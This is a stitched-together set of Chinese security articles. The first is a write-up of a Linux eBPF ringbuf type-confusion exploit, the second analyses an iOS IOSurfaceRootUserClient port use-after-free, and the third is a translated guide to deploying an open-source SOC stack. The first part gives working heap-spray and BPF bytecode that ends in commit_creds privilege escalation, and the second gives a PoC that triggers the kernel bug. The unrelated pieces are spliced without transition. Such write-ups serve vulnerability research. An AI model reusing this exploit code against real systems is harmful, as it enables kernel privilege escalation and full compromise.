* bpf_ringbuf_reserve
根據使用者傳入的 size，回傳一個大小為 size 的 buffer (verifier 會得知 size 資訊) 如果可以控到 `mask`,
`consumer_pos`, `producer_pos` 便可以讓他在 kernel heap 上 return 任意大小的
buffer，便可以用來進行越界讀寫
* bpf_ringbuf_output
沒啥用
* bpf_ringbuf_query
如果可以控到 mask，有機會透過 `BPF_RB_RING_SIZE` 這個 flag 去 leak heap 上的資料 `(rb->mask + 1)`
仔細觀察便會發現可以被用來進行 type confusion 的三個 function 皆會操作到 `bpf_ringbuf_map` 中的 `.rb`
這個 field，他是一個型別為 `struct bpf_ringbuf *` 的指標，由於指標取值只要失敗便會造成 kernel
crash，所以首先必須得要先找到一個 structure 滿足這個要求
雖然說在 commit 當中提到「function 可以接受使用者傳入其他型別的 bpf map，也就是 `BPF_MAP_TYPE_RINGBUF`
以外的 map type」，但實際上我們能夠選擇的 map type 相當有限，因為 `check_map_func_compatibility()`
在第一次的檢查中就對不少 map type 和使用的 function id 進行配對了
把被 `check_map_func_compatibility()` 的第一次 switch case 當中檢查過的 map type
剔除掉之後，我們還剩下以下幾種選擇:
BPF_MAP_TYPE_PERCPU_HASH
BPF_MAP_TYPE_PERCPU_ARRAY
BPF_MAP_TYPE_LPM_TRIE
BPF_MAP_TYPE_STRUCT_OPS
BPF_MAP_TYPE_LRU_HASH
BPF_MAP_TYPE_ARRAY
BPF_MAP_TYPE_LRU_PERCPU_HASH
BPF_MAP_TYPE_HASH
BPF_MAP_TYPE_UNSPEC
透過篩選之後，最後我採用 `BPF_MAP_TYPE_LPM_TRIE` 這個 map type 作為觸發 type confusion 時所使用的 map
type，原因是
* `struct bpf_ringbuf *rb` 的位置上剛好有 `struct lpm_trie_node __rcu *root` 這個指標
* `struct lpm_trie_node` 的 `u8 data[]`; 是一個 user 完全可控的不定長度 array (大小可控)，透過他可以控制 `struct bpf_ringbuf` 當中的不少 field，讓我們可以很輕易的操控 `bpf_ringbuf_*()` 的執行流程
`bpf_ringbuf_map` v.s. `lpm_trie`
struct bpf_ringbuf_map {
struct bpf_map map;
struct bpf_ringbuf *rb;
};
struct lpm_trie {
struct bpf_map map;
struct lpm_trie_node __rcu *root;
size_t n_entries;
size_t max_prefixlen;
size_t data_size;
spinlock_t lock;
};
`bpf_ringbuf` v.s. `lpm_trie_node`
struct bpf_ringbuf {
wait_queue_head_t waitq; /* 0 24 */
struct irq_work work; /* 24 24 */
u64 mask; /* 48 8 */
struct page * * pages; /* 56 8 */
int nr_pages; /* 64 4 */
spinlock_t spinlock __attribute__((__aligned__(64))); /* 128 4 */
long unsigned int consumer_pos __attribute__((__aligned__(4096))); /* 4096 8 */
long unsigned int producer_pos __attribute__((__aligned__(4096))); /* 8192 8 */
char data[] __attribute__((__aligned__(4096))); /* 12288 0 */
} __attribute__((__aligned__(4096)));
struct lpm_trie_node {
struct callback_head rcu __attribute__((__aligned__(8))); /* 0 16 */
struct lpm_trie_node * child[2]; /* 16 16 */
u32 prefixlen; /* 32 4 */
u32 flags; /* 36 4 */
u8 data[]; /* 40 0 */
} __attribute__((__aligned__(8)));
## Exploit
接下來便可以開始進行 exploit 了，流程大致如下
* 利用 `BPF_MAP_TYPE_LPM_TRIE` 進行 type confusion，並利用 `lpm_trie_node` 構造出 `bpf_ringbuf`
* 調整 `bpf_ringbuf` 的各個 field 用於 bypass 檢查
* 在 `bpf program` 中呼叫 `bpf_ringbuf_reserve()` 並傳入一個極大的 size 讓其回傳一個可以越界寫的 array
* 透過 `heap spray bpf_array` 讓任意一個 `bpf_array` 落在我們能夠越界寫的 buffer 後面
* 利用 buffer 越界讀寫 leak kernel address 以及寫掉後方 `bpf_array` 的 `array_ops`
* 從所有拿來 spray 的 bpf map 當中找出哪個是我們越界寫到的 `bpf_array`
* 最後套 `commit_creds(&init_cred)` 提權
首先透過 `bpf_create_map()` 建立一個型別為 `BPF_MAP_TYPE_LPM_TRIE` 的 bpf map 用來進行 type
confusion，並讓他的 value_size 足夠覆蓋到整個 `struct bpf_ringbuf` (我選擇的是 0x3000)，同時在前後
spray 上多個 `bpf_array` 以利後續利用
> 注意到一開始建立好 map 的時候，`struct lpm_trie_node *root` 會是 `NULL`，需要透過
> `bpf_update_elem()` 去手動添加 node 才會幫他 allocate 一塊空間
int i = 0;
/* heap spray */
for (; i < 6; ++i) {
ctrl_mapfds[i] = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x3000, 1, 0);
}
int key_size = 8; // must > 4+1
int vuln_mapfd = bpf_create_map(BPF_MAP_TYPE_LPM_TRIE, key_size, 0x3000, 1, BPF_F_NO_PREALLOC);
if (vuln_mapfd < 0) {
puts("[-] failed to create trie map");
exit(-1);
}
struct bpf_ringbuf *rb = (struct bpf_ringbuf *)(data - 0x2c);
rb->mask = 0xfffffffffffffffe;
rb->consumer_pos = 0;
rb->producer_pos = 0;
size_t key = 0; // index 0 (root node)
int ret = bpf_update_elem(vuln_mapfd, &key, data, 0);
if (ret < 0) {
puts("[-] failed to update trie map");
exit(-1);
}
/* heap spray */
for (; i < ARRAY_SIZE(ctrl_mapfds); ++i) {
ctrl_mapfds[i] = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), 0x3000, 1, 0);
}
由於接下來要透過 `lpm_trie_node` 當中的 `data[]` 去控制 `bpf_ringbuf_reserve()`，需要先設定好
`bpf_ringbuf` 當中的 `mask`, `consumer_pos`, `producer_pos` 這幾個 field
這可以讓我們繞過[
__bpf_ringbuf_reserve()](https://elixir.bootlin.com/linux/v5.13.13/source/kernel/bpf/ringbuf.c#L305
" __bpf_ringbuf_reserve\(\)") 當中的:
* size 檢查
len = round_up(size + BPF_RINGBUF_HDR_SZ, 8);
if (len > rb->mask + 1)
return NULL;
* ringbuf 剩餘空間檢查
if (new_prod_pos - cons_pos > rb->mask) {
spin_unlock_irqrestore(&rb->spinlock, flags);
return NULL;
}
接著是 bpf program 的部分，
首先傳入剛剛建立好用於 type confusion 的 bpf map fd，設定 size 為一個極大值 `(0x3fffffff)`，並呼叫
`bpf_ringbuf_reserve()` 讓他回傳一個能在 bpf program 當中越界讀寫的 heap address
BPF_LD_MAP_FD(BPF_REG_1, vuln_mapfd),
BPF_MOV64_IMM(BPF_REG_2, 0x3fffffff),
BPF_MOV64_IMM(BPF_REG_3, 0x0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* must check NULL case */
BPF_EXIT_INSN(),
透過越界讀寫從下一個 `bpf_array` leak kernel base / heap 地址
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
/* get neighbor bpf_array address */
BPF_MOV64_REG(BPF_REG_4, BPF_REG_8),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_4, 0x4000 - 0x3008),
/* get buffer address */
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_4, 0xc0),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 0xc0 + 0x4000 - 0x3008),
/* get kernel base */
BPF_LDX_MEM(BPF_DW, BPF_REG_7, BPF_REG_4, 0),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_7, array_map_ops_off),
在 buffer 上偽造 `bpf_map_ops`，並將 `bpf_array.map.ops` 寫掉改成指向他，再來便可以透過替換其中的兩個
function 來達成 `commit_creds(&init_cred);`
* `.map_delete_elem = fd_array_map_delete_elem`
* `.map_fd_put_ptr = commit_creds` 詳情請見 [ZDI-20-1440-writeup](https://blog.hexrabbit.io/2021/02/07/ZDI-20-1440-writeup/#smap "ZDI-20-1440-writeup")
> 這裡有額外還原一個 `array_map_lookup_elem()` 到偽造的 `bpf_map_ops` 上
/* put &init_cred onto bpf_array.value[0] */
BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, init_cred_off),
BPF_STX_MEM(BPF_DW, BPF_REG_4, BPF_REG_1, 0x110),
/* overwrite bpf_array.map.ops = buffer */
BPF_STX_MEM(BPF_DW, BPF_REG_4, BPF_REG_6, 0),
/* construct fake array_ops on buffer */
/* put array_map_lookup_elem back since we need to use it later */
BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, array_map_lookup_elem_off),
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_1, 0x58),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, fd_array_map_delete_elem_off),
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_1, 0x68),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, commit_creds_off),
BPF_STX_MEM(BPF_DW, BPF_REG_8, BPF_REG_1, 0x90),
由於 verifier 要求要將 bpf program 要到的資源釋放掉，我們需要額外呼叫
[bpf_ringbuf_discard()](https://elixir.bootlin.com/linux/v5.13.13/source/kernel/bpf/ringbuf.c#L411
"bpf_ringbuf_discard\(\)") 來讓他閉嘴，參數給 `BPF_RB_NO_WAKEUP` 是為了迴避
`bpf_ringbuf_discard()` 裡的 `irq_work_queue()`
/* release resources to make verifier happy */
BPF_MOV64_REG(BPF_REG_1, BPF_REG_8),
BPF_MOV64_IMM(BPF_REG_2, BPF_RB_NO_WAKEUP),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
BPF_MOV64_IMM(BPF_REG_0, 0x0),
BPF_EXIT_INSN(),
在觸發 bpf program 執行以後，透過 `bpf_lookup_elem()` 檢查哪個 `bpf_array` 有被我們改過
for (int i = 0; i < ARRAY_SIZE(ctrl_mapfds); ++i) {
memset(testbuf, 0, sizeof(testbuf));
key = 0;
if (bpf_lookup_elem(ctrl_mapfds[i], &key, testbuf)) {
printf("[-] failed to lookup bpf map on idx %d\n", i);
}
if (testbuf[0]) {
printf("[*] found vulnerable mapfd %d\n", ctrl_mapfds[i]);
return ctrl_mapfds[i];
}
}
最後呼叫 `bpf_delete_elem()` 便可以觸發 `commit_creds(&init_cred)` 提權
## 寫在最後
很可惜的，由於 exploit 當中使用到 `BPF_MAP_TYPE_LPM_TRIE` 這個 map type，他需要 process 至少擁有
`CAP_BPF`的權限才能夠執行，但根據在 lwn.net 上 [Introduce
CAP_BPF](https://lwn.net/Articles/820560/ "Introduce CAP_BPF")
這篇文章的解釋，這個權限應該還算蠻小的，不過我還是很好奇有沒有其他做法
* * * | 社区文章 |
# IOSurfaceRootUserClient Port UAF漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 windknown，文章来源：pangu.io
原文地址：<http://blog.pangu.io/iosurfacerootuserclient-port-uaf/>
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞描述
苹果前天发布了iOS
11.2版本（安全更新细节尚未公布），经测试发现此次更新修复了一个沙盒内可以直接利用的内核漏洞。我们团队在去年发现该漏洞，并一直在内部的研究环境中使用该漏洞对手机进行越狱。漏洞存在于IOSurfaceRootUserClient类的调用方法中，可以导致port的UAF。首先我们给出该漏洞触发的POC：
// open user client
CFMutableDictionaryRef matching = IOServiceMatching("IOSurfaceRoot");
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
io_connect_t connect = 0;
IOServiceOpen(service, mach_task_self(), 0, &connect);
// add notification port with same refcon multiple times
mach_port_t port = 0;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
uint64_t references;
uint64_t input[3] = {0};
input[1] = 1234; // keep refcon the same value
for (int i=0; i<3; i++)
{
IOConnectCallAsyncStructMethod(connect, 17, port, &references, 1, input, sizeof(input), NULL, NULL);
}
IOServiceClose(connect);
通过POC代码可以看到漏洞存在于17号调用函数，定位后对其进行逆向分析。该函数会将传入的port、callback、refcon等数据保存起来，以供需要向用户态发送消息时使用。传入的数据大小是0x18，前两个64位数据分别是callback地址和refcon的值。值得注意的是在保存数据前会首先检查相同的refcon是否已经存在，如果存在则认为已经添加过了，会调用releaseAsyncReference64函数释放reference，从而调用iokit_release_port_send释放我们传入的port，并且返回0xE00002C9号错误。
if ( !a3->asyncReference )
return 0xE00002C2LL;
input = (__int64)a3->structureInput;
reference = (__int64)a3->asyncReference;
v6 = *(_QWORD *)(a1 + 224);
v7 = 0xE00002BDLL;
IORecursiveLockLock_53(*(_QWORD *)(v6 + 264));
v8 = *(_QWORD *)(v6 + 344);
if ( v8 )
{
// 检查相同refcon的数据是否已经存在
while ( *(_QWORD *)(v8 + 32) != *(_QWORD *)(input + 8) || *(_QWORD *)(v8 + 88) != a1 )
{
v8 = *(_QWORD *)v8;
if ( !v8 )
goto LABEL_8;
}
IOUserClient::releaseAsyncReference64(reference);
v7 = 0xE00002C9LL;
}
else
{
// 分配内存并通过setAsyncReference64初始化，保存port/callback/refcon
LABEL_8:
v9 = IOMalloc_53(96LL);
v10 = v9;
if ( v9 )
{
v11 = v6 + 344;
memset_53((void *)v9, 0, 0x60uLL);
IOUserClient::setAsyncReference64(v10 + 16, *(_QWORD *)reference, *(_QWORD *)input, *(_QWORD *)(input + 8));
*(_QWORD *)(v10 + 88) = a1;
*(_QWORD *)(v10 + 80) = *(_QWORD *)(input + 16);
v12 = *(_QWORD *)(v6 + 344);
*(_QWORD *)v10 = *(_QWORD *)(v6 + 344);
if ( v12 )
*(_QWORD *)(v12 + 8) = v10;
else
*(_QWORD *)(v6 + 352) = v10;
v7 = 0LL;
*(_QWORD *)v11 = v10;
*(_QWORD *)(v10 + 8) = v11;
}
}
IORecursiveLockUnlock_53(*(_QWORD *)(v6 + 264));
return v7;
}
如果只是单纯分析该函数的行为，并不存在明显的问题，因此需要结合整个代码路径来看。我们知道IOKit是MIG的子系统，因此用户态最终封装一个message后通过mach_msg发送给内核处理并接受返回消息。而通过mach_msg传输一个port，需要发送complex的消息，内核则在copyin消息的时候会把port
name翻译成对应的port地址，并增加一个引用。随后把消息交给ipc_kobject_server处理，观察ipc_kobject_server函数的分发处理：
/*
* Find the routine to call, and call it
* to perform the kernel function
*/
ipc_kmsg_trace_send(request, option);
{
...
// 调用真正的处理函数，返回结果设置在reply消息内
(*ptr->routine)(request->ikm_header, reply->ikm_header);
...
}
// 如果返回的是简单消息，kr被设置为处理函数的返回值
if (!(reply->ikm_header->msgh_bits & MACH_MSGH_BITS_COMPLEX) &&
((mig_reply_error_t *) reply->ikm_header)->RetCode != KERN_SUCCESS)
kr = ((mig_reply_error_t *) reply->ikm_header)->RetCode;
else
kr = KERN_SUCCESS;
if ((kr == KERN_SUCCESS) || (kr == MIG_NO_REPLY)) {
/*
* The server function is responsible for the contents
* of the message. The reply port right is moved
* to the reply message, and we have deallocated
* the destination port right, so we just need
* to free the kmsg.
*/
// 如果返回成功则简单释放传入消息的内存
ipc_kmsg_free(request);
} else {
/*
* The message contents of the request are intact.
* Destroy everthing except the reply port right,
* which is needed in the reply message.
*/
// 如果返回错误，则释放传入消息相关的数据（包含port）
request->ikm_header->msgh_local_port = MACH_PORT_NULL;
ipc_kmsg_destroy(request);
}
可以看到如果UserClient的处理函数返回错误，那么上层会调用ipc_kmsg_destroy->ipc_kmsg_clean->ipc_kmsg_clean_body最终释放传入的port和ool内存。此时我们再看IOSurfaceRootUserClient的17号调用，当它返回错误的时候，认为应该由自己去释放这个port而没有考虑到上层的清理代码，导致这个port会被额外释放一次。
## 利用思路
这是一个典型的port UAF类型的漏洞。我们可以任意创建一个port，通过17号调用释放该port，同时保留用户态的port
name指向已经被释放的port地址。典型的利用思路是通过cross zone attack来填充一个虚假的port：
* 用ool ports来填充，我们可以读取一个port的的真实地址，导致堆地址泄露
* 用clock port来填充，可以猜测内核的基地址
* 用task port来填充，可以实现任意内核读取
* 用真实的kernel task port来填充，可以直接获取内核port，实现任意内核读写
## Mitigations
* iOS 10.3以后增加了对kernel task port的保护，不过该保护仅仅比较port指向的task是否等于kernel_task，并未对立面的内容进行校验
* iOS 11以后移除了mach_zone_force_gc的接口来阻止cross zone attack，需要有别的途径能够触发gc
## Fix
iOS 11.2中检测到要注册的refcon已经存在后也不会调用releaseAsyncReference64去释放port了。
#### 最后想说*****这次又是被谁撞了 TT | 社区文章 |
## 0x00 写在前面
原文是去年看到的系列文章，总共有8篇。文章详细介绍了SOCasS(SOC as a
Service)的架构及相关部署方法。在国内，SOC的概念比较多见了——安全运营中心，很多安全厂商也有相关的产品。但是SOCasS的概念，比较少见，笔者在国内的一些安全论坛/社区好像都没有见过这个词，国外甚至都推出了SOCasS的相关产品/服务。当时挺感兴趣就收藏了文章，后面断断续续阅读完了。
什么是SOCasS呢？简单解释就是：企业可能由于时间/资源/安全人力不足，很难组建自己的内部安全团队。但是他们可以使用第三方的技术和软件工具构建一个适配企业的SOC（这个第三方可以理解为厂商的产品和技术、也可以理解为开源产品/技术）。
本文是由突尼斯INSAT大学的三名学生编写的，他们使用100%开源的软件和技术，构建了一套很完善的SOC：包括平台架构、各种日志收集、漏洞扫描、监控、日志处理、数据整合、dashboard图表、告警、应急响应事件管理等。涵盖内容丰富，值得一读。笔者也是抱着学习的目的，在阅读的同时，前前后后将这8篇文章翻译成中文，供国内安全同行更直观、便捷地去阅读和理解（文章将近25000字，很多内容都是开源软件的部署方法，理解起来并不难，读者也可根据各个章节标题选择性进行阅读）。
原文链接：
> [Deploying of infrastructure and technologies for a SOC as a Service (
> SOCasS)](https://medium.com/@ibrahim.ayadhi/deploying-of-infrastructure-and-> technologies-for-a-soc-as-a-service-socass-8e1bbb885149 "Deploying of
> infrastructure and technologies for a SOC as a Service \( SOCasS\)")
**PS：** 笔者从事甲方安全建设工作多年，
也见过形形色色的同行。从事技术工作，当然信守“技术是第一生产力”，但是有时候在安全厂商天花乱坠的宣传下，“买买买”成了第一生产力（当然，预算充足完全可以这么干）。国内很少能看到本文这样的实践型的文章，文字概念型的文章比比皆是，这是个蛮有趣的事情。安全之路漫长，安全非一日之功，我们的理想状态都是利用有限的资源实现安全建设的最大价值。当然，还是要多干实事，多学习多进步。
## 0x01 架构及相关配置介绍
过去几年中，网络攻击的数量日益激增。这些攻击不仅针对个人，还针对企业，政府、关键基础设施等。由于攻击的复杂性和数量庞大，传统的解决方案（如防病毒、防火墙、NIDS和NIPS等）已经不能再满足需求。
大型企业通常会使用 **SIEM(Security Information and Event Management-安全信息和事件管理)**
的解决方案，集成到安全建设里，收集和关联网络设备、安全设备和其他终端产生的告警和日志。但是这样的方案不仅花钱而且费时费力，并且需要安全团队专门去分析误报、排查处理一些复杂的安全事件。
这就导致了 **Security Operations Center(安全运营中心)**
方法的出现，也就是我们熟知的SOC。它被认为是安全领域的一种新方法，以减少和缓解复杂度及复杂度日益增加的攻击数量。SOC是由技术人员、各种流程和技术的集成体，以提供端到端的安全能力。但现状是：组建一个SOC团队的成本太高，目前只有一些大的互联网公司在搞。
这时， **安全运营中心即服务-Security Operation Center as a Service(SOCasS)**
的方法就应运而生了。SOCaaS就是将安全运营中心（SOC）外包给第三方（使用第三方的技术和软件工具）。这就使得资源有限的公司能以更便宜、更高效和更快速的部署方式来改善其安全现状，并增强对攻击面的防御能力。
该项目是由突尼斯INSAT大学的三名学生Ibrahim Ayadhi、Ghassen Miled和Mehdi Masri在Bassem Ben
Salah教授的指导下完成的。所使用到的技术和工具100%都是免费和开源的。
为了感谢开源社区及他们的帮助，使得这个项目成为了现实。我们决定为社区公开项目文档和实施该项目的具体步骤。下图为该解决方案的详细架构图：
**该解决方案可实现日志存储、分析、监控、告警生成、报告生成、IOC(通常指的是在检测或取证中，具有高置信度的威胁对象或特征信息)扩充和事件响应管理。**
从上图可知，我们从主机和各个网络组件收集不同类型的日志和事件，然后通过安全通道（VPN隧道）将这些日志发到Logstash。我们使用ELK
beats和Wazuh-agent来收集数据和日志，随后把他们发送到ELK SIEM。
经过Logstash对数据的汇总和处理，Elasticsearch将处理数据的索引，以优化存储锅从和数据搜索。随后，数据会被转发到Kibana，Kibana负责已存储数据的分析和可视化。
同时，Wazuh HIDS的agent将数据发回Wazuh
Manager和Elasticsearch。随之，ElastAlert将监控关注的新事件，并在TheHive内部生成告警。
随后，通过Cortex分析器和MISP的额外查询来丰富事件，从而决定事件自动关闭或上报给分析人员处理。告警可供分析人员通过Cortex和MISP去声明和标记。
**该解决方案部署时使用的硬件配置和软件：**
> 硬件：
下表展示了我们项目中部署的整体基础架构、需求和服务。此外，该架构可以通过正确的配置和基础设施的拓展，部署在更大的环境中。
对于终端，它可以将任何可产生日志的设备与服务器进行连接（例如：路由器、交换机等）
托管在Microsoft Azure云上的机器 | 配置需求 | 系统版本 | 开放端口 | 部署服务
---|---|---|---|---
服务器 | 2 Vcpus
8GB内存 | Ubuntu 18.04 LTS | Wazuh: TCP 1514,1515,55000
Logstash: TCP 5044
Kibana: TCP 5601
Elasticsearch: TCP 8080
Praeco: TCP 8080
Nessus: TCP 8834
SSH: TCP 22 | ELK stack
Filebeat
Nessus
Vulnwhisperer
Elastalert
Praeco
Wazuh-api
Wazuh-manager
服务器 | 2 Vcpus
8GB内存 | Ubuntu 18.04 LTS | TheHive: TCP 9000
Cortex: TCP 9001
MISP: 443
SSH: TCP 22 | TheHive
Cortex
MISP
终端 | 2 Vcpus
4GB内存 | Ubuntu 18.04 LTS | SSH: TCP 22 | Filebeat
Packetbeat
Metricbeat
Wazuh-agent
终端 | 2 Vcpus
4GB内存 | Windows 10 | RDP: TCP 3389 | WinlogBeat
Wazuh agent
**免责声明：**
* 由于本项目的环境和资源有限，架构图中所展示的终端设备并没有全部实现。因此，防火墙和路由器将不会在本项目中涉及。
* 本项目中选择的硬件设备并不适用于生产环境。建议投入更多的硬件资源。我们建议每台服务器的配备8个Vcpu，第一台服务器配备32GB内存，第二台服务器配备8GB内存。
> 软件：
**\- ELK stack:** ELK
stack是一个缩写，用于描述一个由三个流行的开源项目组成的框架：Elasticsearch、Logstash和Kibana。ELK能够收集来自所有系统和应用程序的日志，并对日志进行分析，创建可视化对应用程序和基础架构进行监控，能有助于更快的排查一些故障和进行安全分析等。
**\- Beats:**
是轻量级的数据传输器。可以安装在服务器上捕获各种操作数据（比如日志、各类指标及网络数据包）。Beats可直接或通过Logstash将操作数据发送到Elasticsearch，这样就可以用Kibana将其可视化。
**\- Elastalert:**
是一个用于从Elasticsearch中的数据中对异常、峰值或其他感兴趣的内容进行告警的简单框架。它的工作原理是，将Elasticsearch与规则类型和告警这两类组件相结合。Elasticsearch被定期查询，查询的数据会与规则类型进行匹配，当命中规则，根据命中规则的情况就会产生一条或多条告警。
**\- Suricata:**
是一个开源的威胁检测引擎，由OISF(开放信息安全基金会)开发。Suricata可作为网络入侵检测系统（NIDS）和入侵防御系统（IPS），也可用于网络安全监控。
**\- Elasticsearch的其他开源分支：**
* **告警功能：** 它提供了一个功能强大且易用的事件监控和告警系统，能够监控数据并自动发送通知。通关直观的Kibana页面展示和强大的api，可以轻松的进行配置和告警管理。
* **安全功能：** 它包含多种认证选项（如Active Directory和OpenID）、传输加密、细致的访问控制、详细的审计记录、高级合规性功能等。
**\- Praeco:**
是Elasticsearch的一个告警工具-[ElastAlert](https://github.com/yelp/elastalert)的GUI版，使用的是[ElastAlert
API](https://github.com/bitsensor/elastalert)。通过Praeco，可以使用查询生成器为Elasticsearch中的数据交互式地建立告警功能，可将相关通知发送到Slack、邮箱、Telegram或其他的HTTP
POST端，此外该工具还提供了许多其他的功能。
**\- Wazuh:**
是一个用于威胁检测、安全监控、事件响应和合规监管的免费开源平台。可用于监控终端、云服务器和容器，并汇总和分析来自外部的数据。Wazuh
agent扫描被监控的系统，寻找/监控恶意软件、rootkits和一些可以的异常行为。可以检测到隐藏的文件、隐蔽的进程和未注册的网络监听，以及系统调用响应不一致等问题。
**\- Nessus Essentials:** 一个免费的主机漏洞扫描器，为漏洞评估提供一个切入点。可高速、深入的对环境进行无代理扫描。
**\- TheHive:**
TheHive的官方描述是：“一个可拓展的、开源的、免费的安全响应平台，旨在使任何信息安全从业人员能够轻松地处理安全事件，并快速地采取行动”。本质上，它是一个告警管理平台，用于管理从创建到关闭的事件告警。
**\- Cortex:** Cortex与TheHive是一个团队开发的产品，对Cortex进行了丰富的数据补充。Cortex
使用分析器获取日志中有关指标信息的其他数据。允许在第三方服务中查询 IP、URL
与文件哈希等指标，并将第三方返回的结果作为附加信息丰富告警事件。无需我们手动发送文件哈希值到VirusTotal，分析器会自动帮我们做，并将结果标记在告警上。
**\- MISP:** MISP(恶意软件信息与共享平台)是一个用于共享、存储和关联目标攻击、威胁情报、金融诈骗信息等指标的威胁情报平台。其 Feed
可以是某个组织提供的付费订阅，也可以是社区维护的开源订阅，这也是数据丰富的主要来源。MISP如今已被多个组织用于存储、知识共享，在网络安全指标，恶意软件分析方面进行协作，以确保更好的安全防护。
本节内容旨在介绍我们的工作准备，接下来的内容将会详细展开。
## 0x02 **ELK Stack** : 安装和数据传输
### 2.1 ELK Stack安装和配置
#### 2.1.1 ELK介绍
##### A. ELK是什么？
> <https://www.elastic.co/fr/what-is/elk-stack>
##### B. ELK Basic和ELK Oss之间的区别是什么？
> <https://www.elastic.co/fr/what-is/open-x-pack>
| ELK Stack(Open Source) | ELK Stack(Basic)
---|---|---
License | Apache 2.0 | Elastic Basic
Free | Yes | Yes
Alerting | No | No
Authentication | No | No
Access Control | No | No
#### 2.1.2 ELK安装
在我们的项目中，我们使用的是ELK Stack Basic (7.6.1)版本，并参考elastic.co提供的官方指南：
> <https://www.elastic.co/guide/en/elastic-stack/current/installing-elastic-> stack.html>
#### 2.1.3 ELK配置
在本节中，将介绍我们对于ELK Stack做的相关配置。
##### A. Elasticsearch配置
关于Elasticsearch的配置，都是在`/etc/elasticsearch/elasticsearch.yml`配置文件中进行的。
使用如下命令打开该配置文件：`sudo nano /etc/elasticsearch/elasticsearch.yml`
下图中是elasticsearch数据和日志的默认路径：
然后定位到配置文件中的network部分。network配置非常简单，如果你要使用默认端口的话，port不用做任何修改。但是如果要更改端口的话，取消掉注释，修改http.port的参数。
`network.bind_host:
0.0.0.0`这个配置将启用Elasticsearch服务的远程访问，可以帮助我们后续将beats(采集程序)连接到ELK Stack。
一旦修改了配置，我们需要重启Elasticsearch服务，命令如下：
`sudo systemctl restart elasticsearch`
> **声明：** 由于安全问题，不建议将network.bind_host设置为0.0.0.0，特别是在生产环境中。文中的配置只是在原型设计阶段。
##### B. Kibana配置
关于Kibana的所有配置，都是在`/etc/kibana/kibana.yml`这个配置文件中。使用如下命令打开：
`sudo nano /etc/kibana/kibana.yml`
要想配置Kibana可远程访问，我们必须配置：`server.host:
0.0.0.0`。端口的话一般不会与其他服务重复，所以直接默认5601端口就行。现在重启Kibana：`sudo systemctl restart
kibana`。
现在，可以在浏览器访问Kibana了：`http://服务器ip:5601`。
进入Kibana的页面后，享受它令人惊讶的用户体验，并尝试一些仪表盘样例和数据。
> **声明：** 因为安全问题，不建议将Kibana的server.host设置为0.0.0.0，特别是在生产环境中。文中的配置只是在原型设计阶段。
##### C. Logstash配置
现在我们来解决logstash的配置问题：
`sudo cat /etc/logstash/logstash-sample.conf`
该配置文件包含了Logstash的必要配置。因此，我们需要将它复制到目录`/etc/logstash/conf.d/`下，并将其名称改为logstash.conf。
不要忘记重启服务：`sudo systemctl restart logstash`。
##### D. 服务检查
正确配置好logstash、kibana 和elasticsearch 的配置文件后，可以启动服务并检查它们：
你可以检查这些服务的端口监听，是tcp6还是tcp这都没有关系，不影响服务。
> Kibana : 5601
>
> Elasticsearch : 9200
>
> Logstash : 5044
### 2.2 Beats配置和数据传输
#### 2.2.1 Winlogbeat的下载和安装
下载链接：<https://www.elastic.co/fr/downloads/beats/winlogbeat>
安装方法：<https://www.elastic.co/guide/en/beats/winlogbeat/current/winlogbeat-installation.html>
#### 2.2.2 Winlogbeat的配置
在我们的项目中，我们使用winlogbeat.yml的如下配置：
**理解winlogbeat.event_logs：**
winlogbeat.yml中的winlogbeat部分指定了所有针对Winlogbeat的选项。最重要的是，它包含了要监控的事件日志列表。我们可以看到Sysmon模块是默认启用的。要添加更多的模块，你可以参考如下链接：
<https://www.elastic.co/guide/en/beats/winlogbeat/current/configuration-winlogbeat-options.html>
**理解分片数（shards）和副本数（replicas）：**
* **index.number_of_shards ：** 一个索引可能会存储大量数据，甚至会超过单节点的硬件配置。为了解决这个问题，Elasticsearch提供了将索引细分为多个“碎片”的功能（就是分片），每个“碎片”都保存在不同的机器上。
* **index.number_of_replicas :** 是Elasticsearch要存储的副本数量。当有个组网多机器运行Elasticsearch时，该功能很有用。如果一台机器挂掉了，数据不会丢失。
**Output :**
对于Elasticsearch output和Logstash output，在启动服务或检查配置时 **必须只启用其中一个** 。
**Processors(处理器)和logging(日志)的配置:**
下图包含winlogbeat使用的默认processors和一个logging设置的样例：
**Index Lifecycle Managment ( ILM ) -索引生命周期管理：**
最后，我们不得不禁用ILM(索引生命周期管理)。ILM是集成在ELK stack Basic版本中的一个免费的x-pack功能，但是在ELK
oss版本里不是。你可以根据机器性能、服务韧性和是否保留的需求，使用ILM来自动管理索引。例如：每天、每周或每月创建一个新的索引，并对之前的索引进行归档。当一个索引达到一定大小时，运行一个新的索引，或者删除旧的索引以执行数据保留的标准。
ILM功能在ELK stack
basic版本中是默认启用的。但是当你的beats没有直接到Elasticsearch时，它需要进一步的配置。ILM功能超出了本文的范围，所以我们将它禁用。
#### 2.2.3 Sysmon配置，并与MITRE ATT&CK整合
我们将在加载索引模板之前设定新的Sysmon配置，以确保新的Sysmon字段和配置在ELK stack中能被正确加载。
**System Monitor (Sysmon)**
